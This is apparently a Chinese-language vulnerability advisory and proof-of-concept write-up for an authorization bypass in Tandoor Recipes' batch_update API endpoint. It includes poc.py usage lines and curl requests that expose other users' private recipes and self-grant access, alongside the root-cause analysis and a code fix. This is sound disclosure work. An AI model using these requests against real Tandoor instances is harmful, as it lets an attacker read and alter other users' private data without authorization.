Tandoor Recipes v2.6.1 中的 PUT /api/recipe/batch_update/ 端点允许 Space 内的任何已认证用户 修改该 Space 中的任意食谱——包括其他用户拥有的私有食谱。这完全绕过了所有标准单食谱端点上强制执行的对象级授权检查。
根本原因是 Django REST Framework 的一个行为缺陷:detail=False 列表操作永远不会调用 has_object_permission(),只会调用 has_permission()。查询集仅通过 space=request.space 进行过滤,没有检查 created_by、private 或 shared 列表。攻击者可以强制暴露私有食谱、自行授予持久访问权限、撤销其他用户的权限,并篡改元数据——所有这些都只需一次看似无需认证的 API 调用,且返回 HTTP 200 OK 和空响应体。
detail=False 绕过对象级权限检查文件: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← 没有 created_by 或 private 检查
)
在 Django REST Framework 中,使用 detail=False 注册的操作属于列表操作。它们 永远不会调用 get_object(),这意味着 check_object_permissions() 和 CustomRecipePermission.has_object_permission() 永远不会被调用。只有 has_permission() 会执行——它只验证 Space 成员身份,而不验证食谱所有权。
PUT /api/recipe/{id}/ 遵循完整的 DRF 权限流程:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ 如果食谱是私有的且不属于请求者/未与请求者共享,则拒绝访问
batch_update 端点静默跳过了整个链路。
RecipeBatchUpdateSerializer 暴露了以下字段——可对 Space 中的 任意 食谱进行写入:
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ 攻击者 │ ─────────────────────────────────────→│ Tandoor 服务器 │
│ (用户 B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space 成员) │
│ │
│ has_object_ │
│ permission() │
│ ✗ 从未被调用 │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← 没有所有权检查
│
▼
┌────────────────┐
│ 食谱 ID 2 │
│ (用户 A 拥有) │
│ private=false ← 被修改
│ shared=[2] ← 自行授予
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ 攻击者 (B) │
│ 现在拥有对 │
│ 食谱 ID 2 的 │
│ 完全访问权限 │
└────────────────┘
requests 库pip install requests
# 强制暴露私有食谱并自行授予访问权限(默认)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# 仅强制暴露(设置 private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# 仅自行授予(添加到共享列表,保持 private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| 操作 | 描述 |
|---|---|
expose | 在目标食谱上设置 private: false — 强制对所有 Space 成员可见 |
self_grant | 将攻击者的用户 ID 添加到 shared_add — 即使食谱保持私有也能授予持久访问权限 |
1. 前置条件 — 食谱无法通过标准端点访问
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 预期:404(私有,非本人所有)
2. 利用 — 无授权的 batch_update
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# 预期:HTTP 200 OK — {}
3. 后置条件 — 食谱现在可以访问
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 预期:HTTP 200 并返回食谱数据,private=false
4. 通过食谱列表验证
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 预期:2 <recipe_name> False
通过 created_by=request.user 过滤查询集,将批量操作限制为本人拥有的食谱:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← 修复:限制为本人拥有的食谱
)
如果 Space 管理员需要批量更新任何食谱的能力,请添加基于角色的条件判断:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
任何对单个对象进行操作的 detail=False 操作 必须手动强制执行对象级授权。DRF 的 has_object_permission() 永远不会为列表操作调用——这一责任完全落在开发者身上。
本概念验证仅用于 授权的安全测试和教育目的。未经授权访问计算机系统属于违法行为。作者对工具的滥用不承担任何责任。
Filipe Gaudard — 进攻性安全研究员 | eWPT | eWPTx
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — 通过用户可控密钥绕过授权 |
| CVSS v3.1 | 8.1 高危 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 受影响版本 | Tandoor Recipes ≤ 2.6.1 |
| 供应商 | TandoorRecipes/recipes |
| 字段 | 影响 |
|---|
private | 切换食谱可见性 |
shared_add / shared_remove / shared_set | 操纵访问控制列表 |
keywords_add / keywords_remove / keywords_set | 修改食谱元数据 |
working_time / waiting_time | 修改食谱时间数据 |
both |
| 在单个请求中同时执行两个操作(默认) |
| 影响领域 | 描述 | 严重程度 |
|---|
| 强制食谱暴露 | 设置 private: false 使任何食谱对所有 Space 成员可见 | 高 |
| 未授权自行授予 | 通过 shared_add 添加自己的用户 ID,授予对任何食谱的持久读写访问权限 | 高 |
| 访问权限撤销 | 使用 shared_remove 或 shared_set 从食谱的共享列表中移除合法用户 | 高 |
| 元数据篡改 | 修改其他用户拥有的食谱上的 working_time、waiting_time 和 keywords | 中 |